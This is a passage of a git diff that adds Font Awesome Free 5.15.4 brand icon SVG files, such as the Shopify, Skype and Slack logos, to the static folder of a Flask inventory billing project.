33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/scribd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/scribd.svg new file mode 100644 index 00000000..148506cf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/scribd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/searchengin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/searchengin.svg new file mode 100644 index 00000000..08ecf968 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/searchengin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 460 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sellcast.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sellcast.svg new file mode 100644 index 00000000..34aa347b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sellcast.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sellsy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sellsy.svg new file mode 100644 index 00000000..a7c873ba --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sellsy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/servicestack.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/servicestack.svg new file mode 100644 index 00000000..2e8b9381 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/servicestack.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shirtsinbulk.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shirtsinbulk.svg new file mode 100644 index 00000000..b53083d8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shirtsinbulk.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shopify.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shopify.svg new file mode 100644 index 00000000..a7132fec --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shopify.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shopware.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shopware.svg new file mode 100644 index 00000000..a22d9c5b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/shopware.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/simplybuilt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/simplybuilt.svg new file mode 100644 index 00000000..eba7d1e9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/simplybuilt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sistrix.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sistrix.svg new file mode 100644 index 00000000..65b3fc87 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sistrix.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sith.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sith.svg new file mode 100644 index 00000000..deff3c19 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sith.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sketch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sketch.svg new file mode 100644 index 00000000..22ab47d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sketch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/skyatlas.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/skyatlas.svg new file mode 100644 index 00000000..b59179d3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/skyatlas.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/skype.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/skype.svg new file mode 100644 index 00000000..abc9793a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/skype.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slack-hash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slack-hash.svg new file mode 100644 index 00000000..4c6ab502 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slack-hash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slack.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slack.svg new file mode 100644 index 00000000..0eefd756 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slack.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slideshare.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slideshare.svg new file mode 100644 index 00000000..c6474b50 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/slideshare.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 